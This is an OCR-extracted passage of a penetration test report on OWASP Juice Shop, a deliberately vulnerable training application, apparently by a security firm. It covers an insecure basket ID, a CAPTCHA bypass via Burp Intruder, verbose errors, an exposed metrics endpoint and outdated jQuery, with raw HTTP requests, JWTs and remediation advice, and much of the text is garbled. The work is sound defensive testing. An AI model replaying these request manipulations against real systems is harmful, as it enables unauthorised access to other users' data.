xfQ.t_0rtzFX
N hA1Qn6xNoBox

Attacker change basket number and is able to read other user’s basket.

Request Response a==

rett Raw  Hex n = Prety Raw Hex  Hends B n =
1 GET /rest/basket[:]HTTPll.l 1 HTTP/1.1 200 OK

2 Host: juiceshop.com:3000 2 Access-Control-Allow-0rigin: =

3 Accept: application/json, text/plain, */% 3 X-Content-Type-Options: nosniff

4 Authorization: Bearer 4 X-Frame-Options: SAMEORIGIN
eyJ0eXAi0iJKV1QiLCIhbGci01iISUZzIINi)9. eyIzdGFOdXMi0i)zdW 5 Feature-Policy: payment ‘self’
NjZXNzIiwiZGFOYSI6eylpZCI6MjIsInVzZXIuYW1lIjoiliwiZwlha 6 X-Recruiting: /#/jobs
Wwi0iJ1c2VyQGplaWNlc2hvc(C5jb20il CIwYXNzd29yZCI6ImYONTA4 7 Content-Type: application/json; charset=utf-8
NDRjODg3ZTExNzMxMDhhMDI2NjAyZjI@N2UzIiwicm9sZSI6ImN1c3R 8 Content-Length: 946
vbWVyIiwiZGVsdXh1VGIrZwW4i0iIil CIsYXNOTGInaw5)cCIBIjAuUMC 9 ETag: W/"3b2-VgiejZb33K90GtPQNBASz6UT81k"
AwLjALILCIwcmImaWx 1SW1hZ2U10iIvYXNzZXRzL3B1YmxpYy9pbWFnZ 10 Vary: Accept-Encoding
XMvdXBsb2Fkcy9kZWZhdwWx@LnN2ZyIsInRvdHBTZWNyZXQi0iIil Clp 11 Date: Tue, 02 Jan 2024 23:13:25 GMT
cOF jdG122S16dHI1ZSwiY3ILYXR1ZEFOIjoiMjAYyNCOWMSOWMiAYyM]jo 12 Connection: close
INZoINC4ZNTIgKzAWOj AwI iwidXBKYXR1ZEFOIjoiMjAyNCOWMSOWMi 13
AyMj 01INzOINC4ZNTIgKzAWOj AwIiwiZGVsZXR1ZEFOIjpudwxsfSwia 14 {
WFOIjoxNzAOMjM2NzQxfQ.t_BrtzFXdM_GB8Z_4-5RINQ69C-hQ31xK8 "status":"success",
kfe9udYyRE1hE_4b9wSNML3CP2Brwx3C04Pw_EbbTcIISOMXOUKkjDc_ "data":{
T3a0RKgJc2f0pC-tGOuHkZ3KhA1Qn6xNoBoxjZq2r8fdVRs4HQyW10u "id":5,
v]jdeb6plekX8f4x7ps@_0hkS3P0 "coupon":null,

5 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) "UserId":16,

AppleWebKit/537.36 (KHTML, like Gecko) "createdAt":"2024-01-02722:41:55.2642",
Chrome/120.0.6099.71 Safari/537.36 "updatedAt":"2024-01-02T722:41:55.2642",

6 Referer: http://juiceshop.com:3000/ "Products": [

7 Accept-Encoding: gzip, deflate, br {

8 Accept-Language: pl-PL,pl;q=0.9,en-US;q=0.8,en;q=0.7 "id":3,

9 Cookie: language=en; welcomebanner_status=dismiss; “name":"Eggfruit Juice (500ml)",
cookieconsent_status=dismiss; continueCode= "description”:
aj4QD04Ky0qP17j2novp9EQ38gYVAI1GM1wWxaIND5 reZRLzmXk6Bbm “Now with even more exotic flavour.",
zZRb3; token= “price":8.99,
eyJ0eXAi0iJKV1QiLCIhbGeci01JSUZzI1IN1I9. ey)zdGFOdXMi0i)zdW "deluxePrice":8.99,
NjZXNzIiwiZGFOYSI6eylpZCI6MjIsInVzZXIuYW1lIjoiliwiZwlha "image":"eggfruit_juice.jpg",
Wwi0iJ1c2VyQGplaWNlc2hve(5jb20iLCIWYXNzd29yZCI6ImYONTA4 “createdAt":"2024-01-02722:41:55.1932",
NDRjODg3ZTExNzMxMDhhMDI2NjAyZj ION2UzIiwicm9sZSI6ImN1c3R "updatedAt™:"2024-01-02722:41:55.1932",
vbWVyIiwiZGVsdXh1VGOrZwW4i0iIil CIsYXNOTGInaW5)cCI6IjAuMC "deletedAt":null,
4wLjALILCIwecm9maWx 1SW1hZ2U101iIvYXNzZXRzL3B1YmxpYy9pbWFnZ "BasketItem":{
XMvdXBsb2Fkcy9kZWZhdWx@LnN2ZyIsInRvdHBTZWNyZXQi0iIil Clp "ProductId":3,
COFjdG12ZS16dHI1ZSwiY3JLYXRLZEFOIjoiMjAyNCOWMSOWMiAyM]jo "BasketId":5,
INZOINC4ZNTIgKzAWO j AWl iwidXBKYXR1ZEFOIjoiMjAyNCOWMSOWM i "id":7,
AyMjoINzoINC4ZNTIgKzAW0 jAwIiwiZGVsZXR1ZEFOI jpudwWxsfSwia "quantity":5,
WFOIjoxNzAOMjM2NzQxfQ.t_BrtzFXdM_GB8Z_4-5RINQ69C-hQ31xK8 "“createdAt":"2024-01-02722:41:55.2822",
kfe9udYyRE1hE_4b9wSNML3CP2Brwx3C04Pw_EbbTcIISOMX0UkjDc_ "ugdatedAt":"2024—01—62T22:41:55.2822”
T3aoRKglc2f0pC-tGOuHkZ3KhA1Qn6xNoBoxjZq2r8fdVRs4HQyW10u ¥
vljdeb6plekX8f4x7ps@_0hkS3P@ },

0 If-None-Match: W/"212-pB9Ztuuhbx20/92qqStkBFETarg8" 4
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NF-3.4 Captcha Bypass

Description:

CAPTCHAs are designed to prevent automated bots from accessing or
interacting with online services, ensuring that only human users can proceed.
The discovered weakness allows malicious actors to circumvent the CAPTCHA
mechanism.

Tools Used: Burp Suite

References: WSTG-ATHN-08 https://owasp.org/www-project-web-security-testing-
guide/latest/4-Web Application Security Testing/04-
Authentication_Testing/08-Testing for Weak_Security Question_Answer

Remediation Adjust the difficulty level of captchas based on the sensitivity of the
operation. Apply rate limiting mechanisms to restrict the number of captcha-
solving attempts within a specific time frame.

Evidence

Attacker go to customer feedback page.

a  juiceshop.com:3000/#/contact h x » A0 2 :

., OWASP Juice Shop Q@ Account W YourBasket @ EN

Customer Feedback

CAPTCHA: Whatis 1+7-9 ?

0

JUICE SHOP
BUSINESS CONFIDENTIAL
Copyright © NESMATE (nesmate.pl)

Page 26 of 34




SECURITY

@ NESMATE
.l
o—

Attacker intercept the request and send it to intruder.

f Request to http://juiceshop.com:3000 [172.16.244.2]

Forward Drop Action Open browser

Pretty Raw Hex = \n =

POST /api/Feedbacks/ HTTP/1.1

Host: juiceshop.com:3000

Content-Length: 102

Accept: application/json, text/plain, /%
Authorization: Bearer
eyJ0eXAi0iJKV1QiLCIhbGci0iJSUZzIINiJ9.eylzdGFOdXMi0iJzdWN]jZXNzIiwiZGFOYSI6eyIpZCI6MSwidXN1cm5hbWUiOiIil CI1bWFpbCI6IMF
kbWluQGplaWNTLXNoLm9wIiwicGFzc3dvemQiOiIwMTkyMDIZzYTdiYmQ3MzI1IMDUXNmYwNj 1kZjE4YjUWMCIsInIvbGUi0iJhZG1lpbiIsImR1bHV4ZVR
va2VuljoiliwibGFzdExvZ21uSXAi0iIilCJwcm9maWx1SW1hZ2Ui0iJhc3N1dHMvcHVibGljL21tYWdlcy91cGxvYWRZzL2R1ZmF1bHRBZG1pbiSwbmc
iLCJ@b3RwU2VjcmVOIjoiIiwiaXNBY3RpdmUiOnRydWUsImNyZWFOZWRBACI6IjIwMjQtMDEtMDIgMjIGNDEGNTQUOTALIICSWMDowMCISInVwWZGFOZWR
BdCI6I;jIwMjQtMDEtMDIgMjI6NDEGNTQUOTALIICSWMDowMCIsImR1bGVOZWRBACI6bnVsbHOSIMhdCIGMTcwNDIOMTM3N30. EbcQOmk5HLg6s75uiVo
XjCoolLaTnQeZVzd@1EepmXyCvOgnqrcWIKT21yrTG6TS422IXZoYt4scnw—900fBH_wxxH6Wych6taqiMrTzDic@frvQsc3ouWgseBCS1BOmh@D-uASF
t390011efOVREN@S30n7A9HiCOMh2XvBMioE

s WNR

S
6 User-Agent: Mozilla/5.@ (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Safari/537.36 Send to Intruder ~ 88l
Content-Type: application/json Send to Repeater ~%8R

0

Origin: http://juiceshop.com:3000 Send to Sequencer

9 Referer: http://juiceshop.com:3000/
L0 Accept-Encoding: gzip, deflate, br Send to Comparer
L1 Accept-Language: pl-PL,pl;q=0.9,en-US;q=0.8,en;q=0.7 Send to Decoder

2 Cookie: language=en; welcomebanner_status=dismiss; cookieconsent_status=dismiss; toke i N
eyJ0eXAi0iJKV1QiLCIhbGci0ilSUZIINII9. ey]zdGFOAXMi0ilzdWNjZXNzIiwiZGFOYSI6eyIpZCI6MSwi  Send to Organizer %0
kbWluQGplaWNTLXNoLmOwIiwicGFzc3dvemQiOiIwMTkyMDIzYTdiYmQ3MzIIMDUXNmYwNj LkZjE4YjUwMCIg Insert Collaborator payload
va2VuljoiliwibGFzdExvZ21uSXAi0iIilCIwemOmaWx1SW1hZ2Ui0iJhc3NTdHMYCHVibGLjL21tYWdlcy91  Request in browser N
iLCJ@b3RWU2VjcmV@IjoiliwiaXNBY3RpdmUiOnRydWUsImNyZWFOZWRBACI6I j IwMjQtMDEtMDIgM]j I6NDEE

BACI6IjIwMjQtMDEtMDIGMj I6NDEGNTQUOTALICSWMDoWMCISIMR1bGVOZWRBACI6bNVSbHOSImIhdCI6MTcy  Engagement tools [Pro version only] >
XjCooLaTnQeZVzd@1EepmXyCvOgnqrcWIkT21yrTG6TS422IXZoYt4scnw—900fBH_wxxH6Wych6taqiMrTzL Change request method

t390011efOVREN@s30n7A9HiCOMh2XvBMioE; continueCode=yM5Qwvq21b8VW]jxzDB@3et5f4NunpI6Zul .
X Change body encoding
3 Connection: close

L4 Copy ~38C
L5 { Copy URL
"UserId":1,

"captchald":1, Copy as curl command (bash)

"captcha":"0", Copy to file
"comment":"this is my comment (**xin@juice-sh.op)", Paste from file
"rating":3 )
} Save item
Don't intercept requests >
Attacker choose injection point.
(3) Payload positions
Configure the positions where payloads will be inserted, they can be added into the target as well as the base request,
Add §
Target: | http:/fjuiceshop.com:3000 Update Host header to match target
Clear §
1 POST /api/Feedbacks/ HTTP/1.1
2 Host: juiceshop.com:3000 Auto §
3 Content-Length: 102 Tafrach

4 Accept: application/json, text/plain, */%

5 Authorization: Bearer

ey)0eXAi0iJKV1QiLCIhbGei0ilSUZzIINID9. ey)zdGFOdXMi0i)zdWNjZXNzIiwiZGFOYSI6eyJpZCIGMSwidXN1cmShoWUi0iTilC)lbWFpbCI6ImFkbWluQGplawN LLXNoLmOwI

iwicGFzc3dvemQi0iIwMTkyMDIZzYTdi¥mQ3Mz IIMDUXNmYwN ] 1kZjE4YjUWMCISIn)vbGUi0iIhZGlpbilsImR1bHVAZVRva2VuljoiliwibGFzdExvZ2 1uSXAL0iTiLCIwemImaix

1SW1hZ2Ui0iJhe3NTdHMvcHVibG1iL21tYWd1cy91cGxvYWRZL2R1ZmF1bHRBZG1pbiSwbmcil CIOb3RWU2VcmVBIjoiTiwiaXNEBY3RpdmUiOnRydWUsImNy ZWFOZWRBACIGI § IwM

JOtMDEtMDIgMj IENDEENTQuOTALICSWMDowMCIsInVwZGFAZWRBACIAT j TwM jQtMDEtMDIgMj IGBNDEGNTQUOTALICSWMDoWMCISIMR1bGVOZWRBACIGbNVSbHASImLhdCIGMTcwND I

OMTM3N3@. EbcQOmkSHLg6s75uiVoXjCoolaTnOeZVzda1EepmXyCv0gngroWIkT21y rTGATS422IXZ0Y tdscnw-900 FBH_wxxHEWych6tagiMrTzDic@frvQsc3ouWgseBCS1BOmh

D-uASFt3g0o11efAVREN®S3@nTAIHICAMh2XvBMioE

User-Agent: Mozilla/5.® (Windows NT 18.8; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6899.71 Safari/537.36

7 Content-Type: application/json

Origin: http://juiceshop.com:3000

Referer: http://juiceshop.com:3000/

18 Accept-Encoding: gzip, deflate, br

11 Accept-Language: pl-PL,pl;q=0.9,en-US;q=0.8,en;q=0.7

12 Cookie: language=en; welcomebanner_status=dismiss; cookieconsent_status=dismiss; token=
eyl@eXAi0iIKV1QiLCIhbGei0i)SUzIINII9. ey)zdGFAdXMi0i)zdWN] ZXNZzTiwiZGFOYSI6ey)pZC IGMSwidXN1emShbWUi0iTiLCI1bWFpbCI6ImFkbWluQGplawN1LXNoLmIwT
iwicGFzc3dvemQi0iIwMThkyMDIZYTdi¥YmQ3Mz I IMDUxNmYwh ] 1kZjE4Y jUWMCTISIn)vbGUi0iIhZG1pbilsImR1bHVAZVRva2VuTjoiliwibGFzdExvZ2TuSXA10iTiLCIwemOmalx
1SW1hZ2Ui0iJhc3INTdHMvcHVIbGTjL2 1t YWd 1cy91cGxvYWRZL2R1ZmF1bHRBZG1pbiSwbmciLCI@b3RWU2Vj cmV@T joiT iwiaXNBY3RpdmU iOnRydWUsImNy ZWFOZWRBACIGT j IwM
JOtMDEtMDIgMj IENDEENTQUOTALICSWMDOWMCTISINVWZGFBZWRBACIET j TwM jOtMDEtMDIgM | IGNDEGNTQUOTALICSWMDOWMC TS IMRLBGVOZWRBACIGbNVSEHAS ImLhdCIGMTCWNDT
OMTM3IN30. EbcQOmk5HLQB6s75uiVoX ] CooLlaTnleZVzd@1EepmXyCvOgngreWIKT21y rTGATS422IXZ0Y t4scnw-908 FBH_wxxHEWych6taqiMrTzDic@f rvQsc3ouWgseBCS1BOmhe
D-uASFt3glollefAVREN@S3On7A9HLICOMh2ZXvEMioE; continueCode=yM5Qwvq2lb8VW) xzDBA3et5TANunpI6ZulnSNIulwdl7gProYkZm6KolXEpn

13 Connection: close

15 {"UserId":1,"captchald":1,"captcha" "“comment":"this is my comment ta--m@:;uicc-sh.upl"."rating":}}l
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As we can see in the picture below, the 201 response code indicates successful captcha bypass.

® ® 2. Intruder attack of http:f/juiceshop.com:3000 - Temporary attack - Not saved to project file

Results Positions Payloads Resource pool Settings

% Filter: Showing all items
Request Payload Status code  Error Timeout Length Comment
] 401 429

-5 401 429

b -4 401 429
B -3 401 429
i -2 40 429
b -1 | 201 605
b 0 401 429
r 1 401 429
B 2 401 429
b 3 401 429
0 4 401 429

1 5 401 429
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NF-4.1 Verbose Error Messages

Description: Verbose error messages refer to detailed error responses generated by a
system, application, or website when an unexpected condition or failure occurs.
These messages provide an excessive amount of information about the
underlying structure, technologies, and potential vulnerabilities of the system,
which can aid attackers in crafting targeted exploits.

Tools Used: Burp Suite

References: WSTG-ERRH-01 https://owasp.org/www-project-web-security-testing-
guide/latest/4-Web_Application_Security Testing/08-
Testing for_Error_Handling/01-Testing For_Improper_Error Handling

Remediation Replace detailed error messages with generic or custom error pages. Avoid
displaying stack traces, database details, or other internal information to users.

Evidence

User go to his profile.

@ OWASP Juice Shop X +

&« > C A\ Niezabezpieczona juiceshop.com:3000/profile

& Back . OWASP Juice Shop

User Profile

Email:
test@test.com

Username:
abc

Set Username

File Upload:
Wybierz plik FillE¥3Y%]

Upload Picture
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User change the image to any svg file.

iy (=i i files
Ostatnie

Aplikacje W file.svg
Biurko R
Dokumenty

Pobrane rze...

kamil

7 iCloud Drive

9 Udostgpniane

file.svg
SVG document - 395 B
Informacje

Utworzono wtorek, 7 marca 2023 o 17:25
Czerwony

@ Pomararicz... Pokaz opcje Anuluj Otwérz

Improper error handling.

@ Error: Profile image upload do. X +

C' A Niezabezpieczona juiceshop.com:3000/profile/imageffile

OWASP Juice Shop (Express "4.17.1)

415 Error: Profile image upload does not accept this file type: application/xml
at /juice-shop/build/routes/profilelmageFileUpload.js:78:22
at process.processTicksAndRejections (node:internal/process/task_queues:95:5)
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NF-4.2 Sensitive Data Exposure (Prometheus)

Description:

Organization's sensitive information is inadequately protected, potentially
leading to unauthorized access and exploitation. This vulnerability
encompasses the improper handling, storage, or transmission of confidential
data.

Tools Used:

Burp Suite

References:

A3:2017-Sensitive Data Exposure https://owasp.org/www-project-top-
ten/2017/A3 2017-Sensitive Data Exposure

Remediation

Apply the principle of least privilege by enforcing strict access controls. Only
grant access to individuals who require the data for their specific roles and
responsibilities.

Evidence

Prometheus endpoint is publicly available.

000 @ |juiceshop.com:3000/metrics X +

& > C A Niezabezpieczona juiceshop.com:3000/metrics

# HELP file_uploads_count Total number of successful file uploads grouped by file type.

# TYPE file_uploads_count counter

# HELP file_upload_errors Total number of failed file uploads grouped by file type.

# TYPE file_upload_errors counter

# HELP juiceshop_startup_duration_seconds Duration juiceshop required to perform a certain task during startup
# TYPE juiceshop_startup_duration_seconds gauge

juiceshop_startup_duratis
juiceshop_startup_dur:
juiceshop_startup_dur:

,al uiceshop"} 0.061606667
2!

5
} 0.003875125
0.001320083

uiceshop"} 15.06774659

# HELP process_cpu_user. semnds total Total user CPU time spent in seconds.

# TYPE process]

ds
process_cpu_user_seconds. tutal(app

tal counter
iceshop"} 76.340706

# HELP process_cpu_system_seconds_total Total system CPU time spent in seconds.
# TYPE process_cpu_system_seconds_total counter
process_cpu_system_seconds_total{app="juiceshop"} 49.878125

# HELP process_cpu_seconds_total Total user and system CPU time spent in seconds.
# TYPE process_cpu_seconds_total counter
process_cpu_seconds_total{app="juiceshop"} 126.218831

# HELP process_start_time_seconds Start time of the process since unix epoch in seconds.
# TYPE process_start_time_seconds gauge
process_start_time_seconds{app="juiceshop"} 1704235314

# HELP process_resident_memory_bytes Resident memory size in bytes.
# TYPE process_resident_memory_bytes gauge
process_resident_memory_bytes{app="juiceshop"} 149614592

# HELP process_virtual_memory_| s Virtual memory size in bytes.
# TYPE process_virtual_memory_bytes ga
process_virtual_memory_bytes{app=

juiceshop"} 1121439744

# HELP process_heap_bytes Process heap size in bytes.

# TYPE process_heap_bytes gauge

process_heap_bytes{app="juiceshop"} 184393728

# HELP process_open_fds Number of open file descriptors.

# TYPE process_open,
process_open_fds{ap

gauge
iceshop"} 31

# HELP process_max_fds Maximum number of open file descriptors.

# TYPE process_n:

process_max_fds{app:

jauge
ceshop"} 1048576
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NF-5.1 Vulnerable JavaScript libraries
Description: JavaScript libraries are commonly used to streamline development, but

vulnerabilities in these libraries can expose applications to a range of security
risks, including cross-site scripting (XSS).

Tools Used: Burp Suite

References: A06:2021 - Vulnerable and Outdated
Components https://owasp.org/Top10/A06 2021-
Vulnerable_and_Outdated_Components/

Remediation Regularly check for updates and security patches for all JavaScript libraries used
in your application. Ensure that you are using the latest versions to benefit from

bug fixes and security enhancements.

Evidence
As we can see in the picture below the application uses outdated JavaScript library: jQuery v2.2.4.

M OWASP Juice Shop X @ cdnjs.cloudflare.comfajaxflibs: X  +
https://cdnjs.cloudflare.com/ajax/libsfiquery/2.2.4fiquery.min.js M % *» A0

/%! jQuery v2.2.4 | (c) jQuery Foundation | jquery.org/license */
Ifunction(a,b){"object"==typeof module&&"object"==typeof module.exports?module.export decument’b(a,m :function(a){if(!a.document)throw new Error(*jQuery requires a window with a document");return b(a)}:b(a)}
("undefined"! lowrwindow: this, function(a,b){var c=[I, uf document, e=c. slice, f=c. concat, g=c. pus| hasOwnProperty, 1={},m="2.2.4",n=function(a,b) {return new
A_ms/,q=/~([\da-21)/gi, r=Function(a, h){retum [ thpperCase()} a toArray: function(){return
70>a?this [a+this. 'Ler\gth this[a]:e.call(this)},pushStack: function(a){var merge(this.constructor(),a);return b.prevObject=th. this.context, b},each: function(a)
a)},map: function(a){return this.pushStack(n. map(thls functmnm,c){retum a.call(b,c,b)})},slic functjun(i(return this.pushStack(e.apply(this,argunents))}, first: function(){return
this.eq(0)}, last: function(){return this.eq(-1)},e i is.length, 0>a7b:0) ;return this. pushstack1c> 95&b>c7[th15[c]] [1)},end: function(){return
this. preva]ect|\thls.constructort)) P e et e RT e c.spllce) n.extend WGt guments ||() h=1, i=arguments. length, j=!1; for("boolea ypeof g&&(j=g,g=arguments[h] ||
obje g||n. 15Functmn1g)Hl }), h===i8&( i>hsh++) if (nullt rgunents [h]))for(b in a)c=g(b], d=ab], g!==d6&(]5ad8&(n. sPlalnDb]ect(d)H sArray(d)))?(e?(e=11, f=c&&n. isArray(c) ?c:
: f=c&&n. 1sPlalnDb]ect(c)7c {},9ll extend(j, f,d) ));return g},n.extend({expando:"jQuery"+(m+Math. randum()) replace(/\n/g, "), isRead! ,error: function(a){throw new Errur(a)) noop: function()
{}, isFunction: function(a){return ion by, i et i e function(a){return null!=a8&a===a.window}, isNumeric: function(a){var b=as&a,toString();return!n.isArray(a)s&b-
parseFloat (b)+1>=0}, isPlainObject: i £( pe(a) | |a.nodeType| [n.isWindow(a)) return!1; if (a.constructora&!k.call(a,"constructor")&&!k.call(a.constructor.prototype |
(),"15Prc(otyp e0f") )return!1; for(b in a);returr = Hk cau(a m) e function(a){var bifor(b in a)return!1;return!0}, type: function(a){return null==aza+"":"object"==typeot a| |*functio ypeof a?
1l(a)]]|"object": typeof a}, glcha\Eval function(a){var b,c=evalia=n.trin(a) ,a6&(1==a. index0f ("use strict"
ereatettenent( "script"),b. text=a,d.head. . . (a))}, camelcase: function(a){return a. replace(p, ‘ns=").replace(q, r)},nodeName: function(a,b) {return

a i B . length; c>d; d++) if (b.call(ald],d,ald]) )break}else for(d in a)if(b.call(ald],d,ald] 1)break;return
replace(o, ")}, makeArray: function(a, b){var ? strin peof a?[a] call[c a)), c} inArray: function(a,b, c){return null=b?

>d; d++)aler+]=b[d a},grep: functionla b, c){for(var d,e: [], ,g=a. length, b(alfl,f), &e.push(alf]);return
(alg],g,c),nulli=e&&h. push(e);else for(g in a)e=b(alg],g,c),null!=es&h.push(e);return f.apply([l, it gum ,proxy: function(a,b){var
unction(){return a.apply(b] |this,d.concat(e.call(arguments)))}, .guid=a.guid=a.guid| [n. quidss, ) :voic
Date. now, support f yi rl=c[Synbol. iterator]),n.each("Boolean Number String Function Array Date RegExp Object Error Symbol'.split(" *),function(a,b){i["[object
"1=b. toLowerCase()}); i & Lengt! o 5 turn’ IIn. 1sw1ndcw(a)7‘1 arra‘/ | |"number’'==typeof b&&b>0&&b-1 in a}var t=function(a){var

h q (), 2=g: (),B=function(a,b){returr &&(1=! 1<<31,D={}.hasOwnProperty,

x=0,y=ga.
sh, inction(a,b){for(var c=0,d=a.length;d>c;c++)if(alc] )return c;return—
s n:lautofocus|autoplay|:cntrols|defer\dlsabléd\mdden\ p| Loop [multiple o nly|required scoped”, Lt (NGOWEW WIS = (TN, 1IN0 M1\ e )
(220 2\ N (( - UMM AW ) %) 2L T
i ) i

a}, trim: function(a){return nul
-1:h.call(b,a,c)}, nerge: nmcmn(a o) {for(var o
<} maps Funchion 3y, {var de,g20,ha[]51(3(a) ) for (dus- Lengths g

typeor ba&(ctalbl, b=a,a=c), n. isFunction(a)7(d=e. call(argunents,2),

T—r\ew RegExp ("="+L:
4N} , PSEUDO: new

,TAG:new RegE
+"*1even|ndd|(([+]IH\\d*)n|)"+L+ (2:( o
s+ [>+] 1even|odd|eq\gt\1t|nth\f1rst\last)(7 A (4L 7=[~-11$)","4")}, X=/( V\Dut|select|textarea|button)$/1 Y=/~h\d$/1, 2=/~ M1+
Exp("\\\\(

*[\\/g, ba=new RegExp
Function(){n()};try (. apply (EL.call(v, ch)lchdes] childNodes), E[

(7 )
[\da—f1{1,6}"+L+"2| ). ), ca=function(a,b,c){var d="0x"+b-65536; returr
pl E. length?function(a,b)
S, w=b86b. ownerDocunent, x=b7b. nodeTyp of

xp ("
(\S*\[nat)ve W/, § ?
String. fromCharCode(d+65536 hildNodes. length]. nodeTyDE)catchleai(
d| | [],"string" !=type

[4~]
tring. fromCharCode(d»l 55296, 1023&d|56320)) d
{6.apply(a, I.call(b))}:function(a,b){var c=a.length,d:

jwhile(alc++1=bld++]1] ;a. length=c-1}}}function fa(a,b,d, e)(var f,h,i,k 10,1,
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Additional Scans and Reports

NESMATE provides all clients with all report information gathered during testing. This includes
Nessus files and full vulnerability scans in detailed formats. These reports contain raw vulnerability
scans and additional vulnerabilities not exploited by NESMATE.

The reports identify hygiene issues needing attention but are less likely to lead to a breach, i.e.
defense-in-depth opportunities. For more information, please see the documents in your shared
drive folder labeled “Additional Scans and Reports”.
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